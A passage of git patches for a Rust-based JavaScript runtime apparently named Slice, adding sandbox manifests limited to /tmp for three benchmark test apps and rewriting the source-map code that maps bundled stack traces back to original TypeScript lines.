Runtimes:** ```json @@ -56,7 +56,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ``` ### 6. [`apps/06-telemetry-metrics-pipeline/`](./apps/06-telemetry-metrics-pipeline/src/index.ts) - OpenTelemetry Circular Span Graph, Flatted Serialization & Disk WAL (`bytes@3.1.2`, `flatted@3.3.1`) -- **Structure:** [`package.json`](./apps/06-telemetry-metrics-pipeline/package.json), [`src/span_graph.ts`](./apps/06-telemetry-metrics-pipeline/src/span_graph.ts), [`src/histogram_wal.ts`](./apps/06-telemetry-metrics-pipeline/src/histogram_wal.ts), [`src/index.ts`](./apps/06-telemetry-metrics-pipeline/src/index.ts). +- **Structure:** [`package.json`](./apps/06-telemetry-metrics-pipeline/package.json), [`slice.toml`](./apps/06-telemetry-metrics-pipeline/slice.toml), [`src/span_graph.ts`](./apps/06-telemetry-metrics-pipeline/src/span_graph.ts), [`src/histogram_wal.ts`](./apps/06-telemetry-metrics-pipeline/src/histogram_wal.ts), [`src/index.ts`](./apps/06-telemetry-metrics-pipeline/src/index.ts). - **What it tests:** Constructing parent<->child circular distributed trace span graphs (`SpanNode`), serializing and deserializing cyclic graphs with `flatted` (`stringify` / `parse`), human-readable memory budget formatting/parsing with `bytes` (`bytes.parse`, `bytes.format`), P50/P95 latency histogram calculation, and WAL persistence (`node:fs` + `node:crypto`). - **Identical Output Across All 4 Runtimes:** ```json @@ -72,7 +72,7 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ``` ### 8. [`apps/08-event-driven-state-journal/`](./apps/08-event-driven-state-journal/src/index.ts) - CQRS Event-Sourced Ledger Bus & Append-Only JSONL WAL Replay (`mitt@3.0.1`, `ms@2.1.3`) -- **Structure:** [`package.json`](./apps/08-event-driven-state-journal/package.json), [`src/event_ledger.ts`](./apps/08-event-driven-state-journal/src/event_ledger.ts), [`src/journal_replayer.ts`](./apps/08-event-driven-state-journal/src/journal_replayer.ts), [`src/index.ts`](./apps/08-event-driven-state-journal/src/index.ts). +- **Structure:** [`package.json`](./apps/08-event-driven-state-journal/package.json), [`slice.toml`](./apps/08-event-driven-state-journal/slice.toml), [`src/event_ledger.ts`](./apps/08-event-driven-state-journal/src/event_ledger.ts), [`src/journal_replayer.ts`](./apps/08-event-driven-state-journal/src/journal_replayer.ts), [`src/index.ts`](./apps/08-event-driven-state-journal/src/index.ts). - **What it tests:** Pub/sub event-sourced state machine orchestration via `mitt`, append-only write-ahead log (WAL) streaming (`fs.appendFileSync`), full JSONL state replay, and deterministic state convergence verification across 75 ledger events. - **Identical Output Across All 4 Runtimes:** ```json diff --git a/tests/apps/03-disk-io-log-pipeline/slice.toml b/tests/apps/03-disk-io-log-pipeline/slice.toml new file mode 100644 index 0000000..40c9498 --- /dev/null +++ b/tests/apps/03-disk-io-log-pipeline/slice.toml @@ -0,0 +1,12 @@ +[package] +name = "03-disk-io-log-pipeline" +version = "1.0.0" +entrypoint = "./src/index.ts" + +[limits] +fuel = 50_000_000 +memory_kb = 16384 + +[capabilities] +allow_read = ["/tmp"] +allow_write = ["/tmp"] diff --git a/tests/apps/06-telemetry-metrics-pipeline/slice.toml b/tests/apps/06-telemetry-metrics-pipeline/slice.toml new file mode 100644 index 0000000..619a79a --- /dev/null +++ b/tests/apps/06-telemetry-metrics-pipeline/slice.toml @@ -0,0 +1,12 @@ +[package] +name = "06-telemetry-metrics-pipeline" +version = "1.0.0" +entrypoint = "./src/index.ts" + +[limits] +fuel = 50_000_000 +memory_kb = 16384 + +[capabilities] +allow_read = ["/tmp"] +allow_write = ["/tmp"] diff --git a/tests/apps/08-event-driven-state-journal/slice.toml b/tests/apps/08-event-driven-state-journal/slice.toml new file mode 100644 index 0000000..23bf4c9 --- /dev/null +++ b/tests/apps/08-event-driven-state-journal/slice.toml @@ -0,0 +1,12 @@ +[package] +name = "08-event-driven-state-journal" +version = "1.0.0" +entrypoint = "./src/index.ts" + +[limits] +fuel = 50_000_000 +memory_kb = 16384 + +[capabilities] +allow_read = ["/tmp"] +allow_write = ["/tmp"] From 3870a3dc3421513806b766492812d6893c5135a8 Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 17:14:07 -0500 Subject: [PATCH 3/6] fix(cas): map multi-frame uncaught stack traces and class methods --- crates/slice-cas/src/bundler/mod.rs | 4 +- crates/slice-cas/src/bundler/source_map.rs | 765 +++++++++++++++++---- crates/slice-cas/src/lib.rs | 5 +- 3 files changed, 647 insertions(+), 127 deletions(-) diff --git a/crates/slice-cas/src/bundler/mod.rs b/crates/slice-cas/src/bundler/mod.rs index d5a6b32..ab29dda 100644 --- a/crates/slice-cas/src/bundler/mod.rs +++ b/crates/slice-cas/src/bundler/mod.rs @@ -16,6 +16,6 @@ pub use resolver::{ ResolverCacheGuard, }; pub use source_map::{ - compute_source_line_map, map_bundled_error_location, map_bundled_stack_trace, - short_source_label, + compute_source_line_map, map_bundled_error_location, map_bundled_error_location_with_offset, + map_bundled_stack_trace, map_bundled_stack_trace_with_offset, short_source_label, }; diff --git a/crates/slice-cas/src/bundler/source_map.rs b/crates/slice-cas/src/bundler/source_map.rs index bd4dff8..33282c6 100644 --- a/crates/slice-cas/src/bundler/source_map.rs +++ b/crates/slice-cas/src/bundler/source_map.rs @@ -45,8 +45,7 @@ pub fn compute_source_line_map(raw_src: &str, cjs_body: &str) -> String { .filter(|r| r.len() >= 4); let mut found_idx: Option = None; - let forward_limit = (search_cursor + 128).min(orig_lines.len()); - for (offset, orig_line) in orig_lines[search_cursor..forward_limit].iter().enumerate() { + for (offset, orig_line) in orig_lines[search_cursor..].iter().enumerate() { if orig_line.contains(probe_raw) || rhs_probe.is_some_and(|rp| !rp.starts_with("require(") && orig_line.contains(rp)) { @@ -54,20 +53,26 @@ pub fn compute_source_line_map(raw_src: &str, cjs_body: &str) -> String { break; } } - if found_idx.is_none() { - for (idx, orig_line) in orig_lines.iter().enumerate() { + if let Some(idx) = found_idx { + search_cursor = idx; + push_usize_csv(&mut out, idx + 1); + } else if probe_raw.len() >= 12 && probe_raw.bytes().any(|b| b.is_ascii_alphabetic()) { + let mut fallback_idx = None; + for (idx, orig_line) in orig_lines[..search_cursor].iter().enumerate() { if orig_line.contains(probe_raw) || rhs_probe .is_some_and(|rp| !rp.starts_with("require(") && orig_line.contains(rp)) { - found_idx = Some(idx); + fallback_idx = Some(idx); break; } } - } - if let Some(idx) = found_idx { - search_cursor = idx; - push_usize_csv(&mut out, idx + 1); + if let Some(idx) = fallback_idx { + push_usize_csv(&mut out, idx + 1); + } else { + let next_guess = (search_cursor + 1).min(orig_lines.len()).max(1); + push_usize_csv(&mut out, next_guess); + } } else { let next_guess = (search_cursor + 1).min(orig_lines.len()).max(1); push_usize_csv(&mut out, next_guess); @@ -114,6 +119,23 @@ fn lookup_embedded_line_map(line_map: &str, rel_idx_0: usize) -> Option { /// Maps an uncaught JS error or bundled line reference back to its original TypeScript/JavaScript /// source file and 1-based line number (`:`) using `// #slice-source:` markers. pub fn map_bundled_error_location(bundled_js: &str, error_msg: &str) -> String { + map_bundled_error_location_with_offset(bundled_js, error_msg, 0) +} + +/// Maps an uncaught JS error or multi-frame stack trace back to original TypeScript/JavaScript +/// coordinates, adjusting raw runtime line numbers by `line_offset` when executing fused containers. +pub fn map_bundled_error_location_with_offset( + bundled_js: &str, + error_msg: &str, + line_offset: usize, +) -> String { + if error_msg.contains("\n at ") || error_msg.contains("\tat ") { + let stack_mapped = map_bundled_stack_trace_with_offset(bundled_js, error_msg, line_offset); + if stack_mapped != error_msg || !error_msg.contains("unknown at :") { + return stack_mapped; + } + } + let lines: Vec<&str> = bundled_js.lines().collect(); let mut explicit_line: Option = None; @@ -123,7 +145,7 @@ pub fn map_bundled_error_location(bundled_js: &str, error_msg: &str) -> String { .take_while(|c| c.is_ascii_digit()) .collect(); if let Ok(n) = digits.parse::() { - explicit_line = Some(n); + explicit_line = n.checked_sub(line_offset).filter(|&l| l >= 1); } } @@ -151,21 +173,26 @@ pub fn map_bundled_error_location(bundled_js: &str, error_msg: &str) -> String { } if !active_short.is_empty() && b_line > marker_line_idx { let rel_idx_0 = count_code_lines_between(&lines, marker_line_idx, b_line); - let mut resolved_line = - lookup_embedded_line_map(active_line_map, rel_idx_0).unwrap_or(rel_idx_0 + 1); - if let Some(stmt_text) = lines.get(b_line - 1).map(|s| s.trim()) { - if !stmt_text.is_empty() { - if let Ok(orig_src) = std::fs::read_to_string(active_full) { - if let Some((orig_idx, _)) = orig_src - .lines() - .enumerate() - .find(|(_, ol)| ol.contains(stmt_text)) - { - resolved_line = orig_idx + 1; + let resolved_line = + if let Some(mapped) = lookup_embedded_line_map(active_line_map, rel_idx_0) { + mapped + } else { + let mut guess = rel_idx_0 + 1; + if let Some(stmt_text) = lines.get(b_line - 1).map(|s| s.trim()) { + if !stmt_text.is_empty() { + if let Ok(orig_src) = std::fs::read_to_string(active_full) { + if let Some((orig_idx, _)) = orig_src + .lines() + .enumerate() + .find(|(_, ol)| ol.contains(stmt_text)) + { + guess = orig_idx + 1; + } + } } } - } - } + guess + }; return format!("{} ({}:{})", error_msg, active_short, resolved_line); } } @@ -262,8 +289,10 @@ fn resolve_section_line( target_line_1: usize, ) -> usize { let rel_idx_0 = count_code_lines_between(lines, sec.marker_line_1, target_line_1); - let mut resolved_line = - lookup_embedded_line_map(sec.line_map, rel_idx_0).unwrap_or(rel_idx_0 + 1); + if let Some(mapped) = lookup_embedded_line_map(sec.line_map, rel_idx_0) { + return mapped; + } + let mut resolved_line = rel_idx_0 + 1; if let Some(stmt_text) = lines.get(target_line_1.saturating_sub(1)).map(|s| s.trim()) { let probe = stmt_text .strip_prefix("exports.") @@ -286,25 +315,37 @@ fn resolve_section_line( resolved_line } -type ParsedRawStackFrame<'a> = (Option<&'a str>, Option<(usize, usize)>); +#[derive(Debug, Clone, Copy)] +struct ParsedRawStackFrame<'a> { + raw_fn_name: Option<&'a str>, + fn_name: Option<&'a str>, + loc_str: &'a str, + line_col: Option<(usize, usize)>, +} fn parse_raw_stack_frame(trimmed: &str) -> Option> { let after_at = trimmed.strip_prefix("at ")?.trim(); - let (fn_name_opt, loc_str) = if let Some((fn_part, rest)) = after_at.split_once(" (") { + let (raw_fn_name, fn_name, loc_str) = if let Some((fn_part, rest)) = after_at.split_once(" (") { let fn_clean = fn_part.trim(); + let raw_opt = if fn_clean.is_empty() { + None + } else { + Some(fn_clean) + }; let fn_opt = if fn_clean.is_empty() || fn_clean == "unknown" - || fn_clean == "__run" + || fn_clean == "
" || fn_clean == "" + || fn_clean == "__run" || fn_clean.starts_with("__slice") { None } else { Some(fn_clean) }; - (fn_opt, rest.trim_end_matches(')').trim()) + (raw_opt, fn_opt, rest.trim_end_matches(')').trim()) } else { - (None, after_at) + (None, None, after_at) }; let mut line_col = None; @@ -317,13 +358,362 @@ fn parse_raw_stack_frame(trimmed: &str) -> Option> { line_col = Some((l, c)); } } - Some((fn_name_opt, line_col)) + Some(ParsedRawStackFrame { + raw_fn_name, + fn_name, + loc_str, + line_col, + }) +} + +#[inline] +fn is_bundler_scaffolding_line(line: &str) -> bool { + let t = line.trim(); + t == "__run();" + || t.starts_with("var __slice_modules =") + || t.starts_with("__slice_modules =") + || t.starts_with("__slice_modules[") + || t.starts_with("var __slice_cache =") + || t.starts_with("function __slice_require(") + || t.starts_with("fn(m.exports, __slice_require, m)") + || t.starts_with("var __rc = globalThis.__slice_rc") + || t.starts_with("var __run = __rc[") + || t.starts_with("__run = __rc[") + || t == "if (!__run) {" + || t == "var __h = null;" + || t == "if (!__h) {" + || t == "var require = __slice_require, exports = {}, module = { exports: exports };" + || t == "var exports = {}, module = { exports: exports };" + || t == "__h = exports.default || module.exports;" + || t.starts_with("if (__h) globalThis.__slice_dispatch_fetch(") + || t.starts_with("if (__h && globalThis.__slice_active_http_server") + || t.starts_with("if (globalThis.__slice_active_http_server) __h =") +} + +#[inline] +fn is_closing_wrapper_brace(line: &str) -> bool { + matches!(line.trim(), "}" | "};" | "});") +} + +fn strip_header_unknown_location(header: &str) -> &str { + for marker in [" (unknown at :", " (:"] { + if let Some(open_idx) = header.rfind(marker) { + let tail = &header[open_idx + marker.len()..]; + if let Some(body) = tail.strip_suffix(')') { + if !body.is_empty() && body.bytes().all(|b| b.is_ascii_digit() || b == b':') { + return &header[..open_idx]; + } + } + } + } + header +} + +#[inline] +fn is_ident_char(b: u8) -> bool { + b.is_ascii_alphanumeric() || b == b'_' || b == b'$' +} + +fn take_first_ident(s: &str) -> Option<&str> { + let trimmed = s.trim_start(); + let len = trimmed.bytes().take_while(|&b| is_ident_char(b)).count(); + if len > 0 && !trimmed.as_bytes()[0].is_ascii_digit() { + Some(&trimmed[..len]) + } else { + None + } +} + +fn take_trailing_lhs_name(lhs: &str) -> Option<&str> { + let trimmed = lhs.trim(); + let end = trimmed.len(); + let start = trimmed + .bytes() + .rev() + .take_while(|&b| is_ident_char(b) || b == b'.') + .count(); + if start == 0 { + return None; + } + let cand = trimmed[end - start..].trim_matches('.'); + if cand.is_empty() || cand.as_bytes()[0].is_ascii_digit() { + return None; + } + if let Some(stripped) = cand.strip_prefix("exports.") { + if !stripped.is_empty() { + return Some(stripped); + } + } + if let Some(stripped) = cand.strip_prefix("module.exports.") { + if !stripped.is_empty() { + return Some(stripped); + } + } + if let Some((cls, method)) = cand.split_once(".prototype.") { + if !cls.is_empty() && !method.is_empty() { + return Some(cand); + } + } + Some(cand) +} + +#[derive(Debug, Clone)] +enum LexicalScope { + Block, + Class(String), + Callable(String), + AnonymousCallable, +} + +fn classify_brace_header(header: &str, enclosing_class: Option<&str>) -> LexicalScope { + let h = header.trim(); + if h.is_empty() { + return LexicalScope::Block; + } + + // 1. Class declaration or assigned class expression (`class Ledger`, `export class Ledger`, `const L = class`) + if let Some(after_cls) = h + .strip_prefix("class ") + .or_else(|| h.strip_prefix("export class ")) + .or_else(|| h.strip_prefix("export default class ")) + { + if let Some(cls_name) = take_first_ident(after_cls) { + if cls_name != "extends" { + return LexicalScope::Class(cls_name.to_string()); + } + } + return LexicalScope::Class("".to_string()); + } + if let Some((lhs, rhs)) = h.rsplit_once('=') { + let rhs_t = rhs.trim(); + if !lhs.ends_with('=') + && !lhs.ends_with('!') + && !lhs.ends_with('<') + && !lhs.ends_with('>') + && (rhs_t == "class" || rhs_t.starts_with("class ")) + { + let explicit = rhs_t + .strip_prefix("class") + .and_then(take_first_ident) + .filter(|&id| id != "extends"); + if let Some(c) = explicit.or_else(|| take_trailing_lhs_name(lhs)) { + return LexicalScope::Class(c.to_string()); + } + } + } + + // 2. Control-flow blocks and object literals (`if (...)`, `try`, `catch (e)`, `const x =`, `foo(`) + if let Some(kw) = take_first_ident(h) { + if matches!( + kw, + "if" | "else" + | "for" + | "while" + | "do" + | "switch" + | "try" + | "catch" + | "finally" + | "with" + | "return" + | "throw" + ) { + return LexicalScope::Block; + } + } + if h.ends_with('=') + || h.ends_with('(') + || h.ends_with(',') + || h.ends_with(':') + || h.ends_with('[') + { + return LexicalScope::Block; + } + + // 3. Arrow functions (`(...) =>`) + if let Some(before_arrow) = h.strip_suffix("=>") { + if let Some((lhs, _params)) = before_arrow.rsplit_once('=') { + let lhs_trim = lhs.trim_end(); + if !lhs_trim.ends_with('=') + && !lhs_trim.ends_with('!') + && !lhs_trim.ends_with('<') + && !lhs_trim.ends_with('>') + { + if let Some(name) = take_trailing_lhs_name(lhs_trim) { + return LexicalScope::Callable(name.replace(".prototype.", ".")); + } + } + } + return LexicalScope::AnonymousCallable; + } + + // 4. `function` declarations and expressions + if let Some(fn_pos) = h.rfind("function") { + let before_ok = fn_pos == 0 || !is_ident_char(h.as_bytes()[fn_pos - 1]); + let after_fn = &h[fn_pos + 8..]; + let after_ok = after_fn.is_empty() + || after_fn.starts_with(' ') + || after_fn.starts_with('*') + || after_fn.starts_with('('); + if before_ok && after_ok { + let after_star = after_fn.trim_start().trim_start_matches('*').trim_start(); + if let Some(explicit_fn) = take_first_ident(after_star) { + return LexicalScope::Callable(explicit_fn.to_string()); + } + let prefix = h[..fn_pos].trim_end().trim_end_matches("async").trim_end(); + if let Some(lhs) = prefix.strip_suffix('=') { + if let Some(name) = take_trailing_lhs_name(lhs) { + return LexicalScope::Callable(name.replace(".prototype.", ".")); + } + } + return LexicalScope::AnonymousCallable; + } + } + + // 5. Concise ES6 class methods and object methods (`post(o)`, `async post(o)`, `static create()`, `get x()`) + if h.ends_with(')') { + let mut rest = h; + loop { + let next = rest + .strip_prefix("public ") + .or_else(|| rest.strip_prefix("private ")) + .or_else(|| rest.strip_prefix("protected ")) + .or_else(|| rest.strip_prefix("readonly ")) + .or_else(|| rest.strip_prefix("override ")) + .or_else(|| rest.strip_prefix("static ")) + .or_else(|| rest.strip_prefix("async ")) + .or_else(|| rest.strip_prefix("get ")) + .or_else(|| rest.strip_prefix("set ")) + .map(str::trim_start); + match next { + Some(n) => rest = n, + None => break, + } + } + rest = rest.trim_start_matches('*').trim_start(); + if let Some(method_name) = take_first_ident(rest) { + let after_name = rest[method_name.len()..].trim_start(); + if after_name.starts_with('(') { + if let Some(cls) = enclosing_class { + if cls != "" { + if method_name == "constructor" { + return LexicalScope::Callable(format!("new {}", cls)); + } + return LexicalScope::Callable(format!("{}.{}", cls, method_name)); + } + } + return LexicalScope::Callable(method_name.to_string()); + } + } + } + + LexicalScope::Block +} + +fn recover_enclosing_symbol_name( + lines: &[&str], + sec: &BundledSourceSection<'_>, + target_line_1: usize, + target_col_1: usize, +) -> Option { + let end_l = target_line_1.min(sec.end_line_1).min(lines.len()); + if end_l <= sec.marker_line_1 { + return None; + } + + let mut scope_stack: Vec = Vec::with_capacity(8); + let mut in_str: Option = None; + + for l_1 in (sec.marker_line_1 + 1)..=end_l { + let line = lines[l_1 - 1]; + let bytes = line.as_bytes(); + let is_target_line = l_1 == target_line_1; + let mut seg_start = 0usize; + let mut i = 0usize; + let mut opened_callable_on_target = false; + + while i < bytes.len() { + if is_target_line && target_col_1 > 1 && i >= target_col_1 { + break; + } + let b = bytes[i]; + if let Some(q) = in_str { + if b == b'\\' { + i += 2; + continue; + } + if b == q { + in_str = None; + } + i += 1; + continue; + } + if b == b'/' && i + 1 < bytes.len() && bytes[i + 1] == b'/' { + break; + } + if b == b'\'' || b == b'"' || b == b'`' { + in_str = Some(b); + i += 1; + continue; + } + if b == b';' { + seg_start = i + 1; + } else if b == b'{' { + let header = if seg_start <= i { + &line[seg_start..i] + } else { + "" + }; + let direct_class = match scope_stack.last() { + Some(LexicalScope::Class(cls)) => Some(cls.as_str()), + _ => None, + }; + let scope = classify_brace_header(header, direct_class); + if is_target_line + && matches!( + scope, + LexicalScope::Callable(_) | LexicalScope::AnonymousCallable + ) + { + opened_callable_on_target = true; + } + scope_stack.push(scope); + seg_start = i + 1; + } else if b == b'}' { + if is_target_line && target_col_1 <= 1 && opened_callable_on_target { + break; + } + scope_stack.pop(); + seg_start = i + 1; + } + i += 1; + } + } + + for scope in scope_stack.iter().rev() { + match scope { + LexicalScope::Callable(name) => return Some(name.clone()), + LexicalScope::AnonymousCallable => return None, + LexicalScope::Block | LexicalScope::Class(_) => {} + } + } + None } /// Translates a multi-frame ECMAScript `Error.prototype.stack` string against embedded /// `// #slice-source: ||` (or compacted `//@sm:`) markers inside `bundled_js`, /// mapping each stack frame back to its original TypeScript/JavaScript `::`. pub fn map_bundled_stack_trace(bundled_js: &str, raw_stack: &str) -> String { + map_bundled_stack_trace_with_offset(bundled_js, raw_stack, 0) +} + +/// Translates a multi-frame ECMAScript stack trace against `bundled_js`, subtracting `line_offset` +/// from raw runtime bundle line numbers when executing pre-fused bytecode containers. +pub fn map_bundled_stack_trace_with_offset( + bundled_js: &str, + raw_stack: &str, + line_offset: usize, +) -> String { if (!bundled_js.contains("// #slice-source: ") && !bundled_js.contains("//@sm:")) || raw_stack.trim().is_empty() { @@ -357,137 +747,266 @@ pub fn map_bundled_stack_trace(bundled_js: &str, raw_stack: &str) -> String { return raw_stack.to_string(); } + // Clamp each section's `end_line_1` to its exact `line_map` code-line count and stop before + // any bundler wrapper scaffolding lines (`__run()`, module factory `};`, etc.). + for sec in &mut sections { + let expected_code_lines = if sec.line_map.is_empty() { + usize::MAX + } else { + sec.line_map.bytes().filter(|&b| b == b',').count() + 1 + }; + let max_l = sec.end_line_1.min(lines.len()); + let mut seen_code = 0usize; + let mut clamped_end = sec.marker_line_1; + for l_1 in (sec.marker_line_1 + 1)..=max_l { + let raw_l = lines[l_1 - 1]; + let t = raw_l.trim(); + if is_bundler_scaffolding_line(t) { + break; + } + if !t.is_empty() && !t.starts_with("//") { + seen_code += 1; + clamped_end = l_1; + if seen_code >= expected_code_lines { + break; + } + } else { + clamped_end = l_1; + } + } + if clamped_end >= sec.marker_line_1 { + sec.end_line_1 = clamped_end; + } + } + let raw_lines: Vec<&str> = raw_stack.lines().collect(); let parsed_frames: Vec>> = raw_lines .iter() .map(|l| parse_raw_stack_frame(l.trim())) .collect(); + let has_any_frame = parsed_frames.iter().any(Option::is_some); + let last_section_end = sections.last().map(|s| s.end_line_1).unwrap_or(0); let mut out = String::with_capacity(raw_stack.len() + 128); let mut frame_ordinal = 0usize; - let mut prev_callee_fn: Option<&str> = None; + let mut prev_callee_fn: Option = None; for (line_idx, &raw_line) in raw_lines.iter().enumerate() { - let Some((fn_name_opt, line_col_opt)) = parsed_frames[line_idx] else { + let Some(frame) = parsed_frames[line_idx] else { if !out.is_empty() { out.push('\n'); } - out.push_str(raw_line); + if line_idx == 0 && has_any_frame { + out.push_str(strip_header_unknown_location(raw_line)); + } else { + out.push_str(raw_line); + } continue; }; - let col = line_col_opt.map(|(_, c)| c).unwrap_or(1); - let mut resolved: Option<(&str, usize)> = None; + // Omit internal Slice bundler/loader wrapper frames (`__run`, `__slice_require`, etc.). + if let Some(raw_fn) = frame.raw_fn_name { + if raw_fn == "__run" || raw_fn.starts_with("__slice_") { + continue; + } + } - if let Some(fn_name) = fn_name_opt { - let bare_fn = fn_name.rsplit_once('.').map(|(_, m)| m).unwrap_or(fn_name); - let fn_pat_1 = format!("function {}(", bare_fn); - let fn_pat_2 = format!("function {} (", bare_fn); - let fn_pat_3 = format!("{} = function", bare_fn); - let method_pat_1 = format!("{}(", bare_fn); - let method_pat_2 = format!("async {}(", bare_fn); - let method_pat_3 = format!("static {}(", bare_fn); - - for sec in §ions { - let mut decl_line_1 = None; - for l_1 in (sec.marker_line_1 + 1)..=sec.end_line_1.min(lines.len()) { - let text = lines[l_1 - 1]; - let trimmed_l = text.trim(); - let is_method_decl = (trimmed_l.starts_with(&method_pat_1) - || trimmed_l.starts_with(&method_pat_2) - || trimmed_l.starts_with(&method_pat_3)) - && trimmed_l.ends_with('{'); - if text.contains(&fn_pat_1) - || text.contains(&fn_pat_2) - || text.contains(&fn_pat_3) - || is_method_decl - { - decl_line_1 = Some(l_1); - break; - } - } - if let Some(d_line_1) = decl_line_1 { - let mut fn_end_1 = sec.end_line_1.min(lines.len()); - let mut brace_depth = 0i32; - let mut seen_open = false; - for l_1 in d_line_1..=sec.end_line_1.min(lines.len()) { - for ch in lines[l_1 - 1].chars() { - if ch == '{' { - brace_depth += 1; - seen_open = true; - } else if ch == '}' { - brace_depth -= 1; - } - } - if seen_open && brace_depth <= 0 { - fn_end_1 = l_1; - break; - } - } + let is_boa_bundle_loc = frame.loc_str.starts_with("unknown at :"); + let is_unmapped_loc = is_boa_bundle_loc + || frame.loc_str.starts_with(":") + || frame.loc_str == "unknown"; - let mut target_line_1 = d_line_1; - if frame_ordinal == 0 { - for l_1 in d_line_1..=fn_end_1 { - let t = lines[l_1 - 1]; - if t.contains("throw ") || t.contains("Error(") { - target_line_1 = l_1; - break; - } + // Idempotence: preserve frames that have already been mapped to original source files. + if !is_unmapped_loc { + if !out.is_empty() { + out.push('\n'); + } + out.push_str(raw_line); + prev_callee_fn = frame.fn_name.map(str::to_string); + frame_ordinal += 1; + continue; + } + + let col = frame.line_col.map(|(_, c)| c).unwrap_or(1); + let adj_line_opt = frame + .line_col + .and_then(|(l, _)| l.checked_sub(line_offset)) + .filter(|&l| l >= 1); + + let mut resolved: Option<(&str, usize)> = None; + let mut display_fn: Option = frame.fn_name.map(str::to_string); + + // Primary exact path: Boa bundle line coordinates (`unknown at ::`). + if is_boa_bundle_loc { + if let Some(adj_line) = adj_line_opt { + if let Some(sec) = sections + .iter() + .rev() + .find(|s| adj_line > s.marker_line_1 && adj_line <= s.end_line_1) + { + let orig_line = resolve_section_line(&lines, sec, adj_line); + resolved = Some((sec.short_label, orig_line)); + match &display_fn { + None => { + display_fn = recover_enclosing_symbol_name(&lines, sec, adj_line, col); } - } else if let Some(callee) = prev_callee_fn { - let bare_callee = callee.rsplit_once('.').map(|(_, m)| m).unwrap_or(callee); - let call_pat = format!("{}(", bare_callee); - for l_1 in d_line_1..=fn_end_1 { - if lines[l_1 - 1].contains(&call_pat) { - target_line_1 = l_1; - break; + Some(existing) if !existing.contains('.') => { + if let Some(enc) = + recover_enclosing_symbol_name(&lines, sec, adj_line, col) + { + if enc.ends_with(&format!(".{}", existing)) { + display_fn = Some(enc); + } } } + _ => {} } - if target_line_1 == d_line_1 { - if let Some((r_line, _)) = line_col_opt { - if r_line >= d_line_1 && r_line <= fn_end_1 { - target_line_1 = r_line; - } - } + } else if display_fn.is_none() { + let is_wrapper = adj_line > last_section_end + || lines.get(adj_line - 1).is_some_and(|l| { + is_bundler_scaffolding_line(l) || is_closing_wrapper_brace(l) + }); + if is_wrapper { + continue; } - - let orig_line = resolve_section_line(&lines, sec, target_line_1); - resolved = Some((sec.short_label, orig_line)); - break; } } } + + // Secondary fallback path for `:...` / dynamic `Function` / unindexed frames. if resolved.is_none() { - if let Some(callee) = prev_callee_fn { - let bare_callee = callee.rsplit_once('.').map(|(_, m)| m).unwrap_or(callee); - let call_pat = format!("{}(", bare_callee); - for sec in sections.iter().rev() { + if let Some(fn_name) = frame.fn_name { + let bare_fn = fn_name.rsplit_once('.').map(|(_, m)| m).unwrap_or(fn_name); + let fn_pat_1 = format!("function {}(", bare_fn); + let fn_pat_2 = format!("function {} (", bare_fn); + let fn_pat_3 = format!("{} = function", bare_fn); + let method_pat_1 = format!("{}(", bare_fn); + let method_pat_2 = format!("async {}(", bare_fn); + let method_pat_3 = format!("static {}(", bare_fn); + + for sec in §ions { + let mut decl_line_1 = None; for l_1 in (sec.marker_line_1 + 1)..=sec.end_line_1.min(lines.len()) { - let t = lines[l_1 - 1].trim(); - if t.contains(&call_pat) - && !t.starts_with("function ") - && !(t.starts_with(&call_pat) && t.ends_with('{')) + let text = lines[l_1 - 1]; + let trimmed_l = text.trim(); + let is_method_decl = (trimmed_l.starts_with(&method_pat_1) + || trimmed_l.starts_with(&method_pat_2) + || trimmed_l.starts_with(&method_pat_3)) + && trimmed_l.ends_with('{'); + if text.contains(&fn_pat_1) + || text.contains(&fn_pat_2) + || text.contains(&fn_pat_3) + || is_method_decl { - let orig_line = resolve_section_line(&lines, sec, l_1); - resolved = Some((sec.short_label, orig_line)); + decl_line_1 = Some(l_1); break; } } - if resolved.is_some() { + if let Some(d_line_1) = decl_line_1 { + let mut fn_end_1 = sec.end_line_1.min(lines.len()); + let mut brace_depth = 0i32; + let mut seen_open = false; + for l_1 in d_line_1..=sec.end_line_1.min(lines.len()) { + for ch in lines[l_1 - 1].chars() { + if ch == '{' { + brace_depth += 1; + seen_open = true; + } else if ch == '}' { + brace_depth -= 1; + } + } + if seen_open && brace_depth <= 0 { + fn_end_1 = l_1; + break; + } + } + + let mut target_line_1 = d_line_1; + if let Some(adj_line) = adj_line_opt { + if adj_line >= d_line_1 && adj_line <= fn_end_1 { + target_line_1 = adj_line; + } + } + if target_line_1 == d_line_1 { + if frame_ordinal == 0 { + for l_1 in d_line_1..=fn_end_1 { + let t = lines[l_1 - 1]; + if t.contains("throw ") || t.contains("Error(") { + target_line_1 = l_1; + break; + } + } + } else if let Some(ref callee) = prev_callee_fn { + let bare_callee = callee + .rsplit_once('.') + .map(|(_, m)| m) + .unwrap_or(callee.as_str()); + let call_pat = format!("{}(", bare_callee); + for l_1 in d_line_1..=fn_end_1 { + if lines[l_1 - 1].contains(&call_pat) { + target_line_1 = l_1; + break; + } + } + } + } + + if !fn_name.contains('.') { + if let Some(enc) = + recover_enclosing_symbol_name(&lines, sec, target_line_1, col) + { + if enc.ends_with(&format!(".{}", fn_name)) { + display_fn = Some(enc); + } + } + } + + let orig_line = resolve_section_line(&lines, sec, target_line_1); + resolved = Some((sec.short_label, orig_line)); break; } } } if resolved.is_none() { - if let Some((r_line, _)) = line_col_opt { + if let Some(adj_line) = adj_line_opt { if let Some(sec) = sections .iter() .rev() - .find(|s| r_line > s.marker_line_1 && r_line <= s.end_line_1) + .find(|s| adj_line > s.marker_line_1 && adj_line <= s.end_line_1) { - let orig_line = resolve_section_line(&lines, sec, r_line); + let orig_line = resolve_section_line(&lines, sec, adj_line); resolved = Some((sec.short_label, orig_line)); + if display_fn.is_none() { + display_fn = recover_enclosing_symbol_name(&lines, sec, adj_line, col); + } + } + } + } + if resolved.is_none() { + if let Some(ref callee) = prev_callee_fn { + let bare_callee = callee + .rsplit_once('.') + .map(|(_, m)| m) + .unwrap_or(callee.as_str()); + let call_pat = format!("{}(", bare_callee); + for sec in sections.iter().rev() { + for l_1 in (sec.marker_line_1 + 1)..=sec.end_line_1.min(lines.len()) { + let t = lines[l_1 - 1].trim(); + if t.contains(&call_pat) + && !t.starts_with("function ") + && !(t.starts_with(&call_pat) && t.ends_with('{')) + { + let orig_line = resolve_section_line(&lines, sec, l_1); + resolved = Some((sec.short_label, orig_line)); + if display_fn.is_none() { + display_fn = 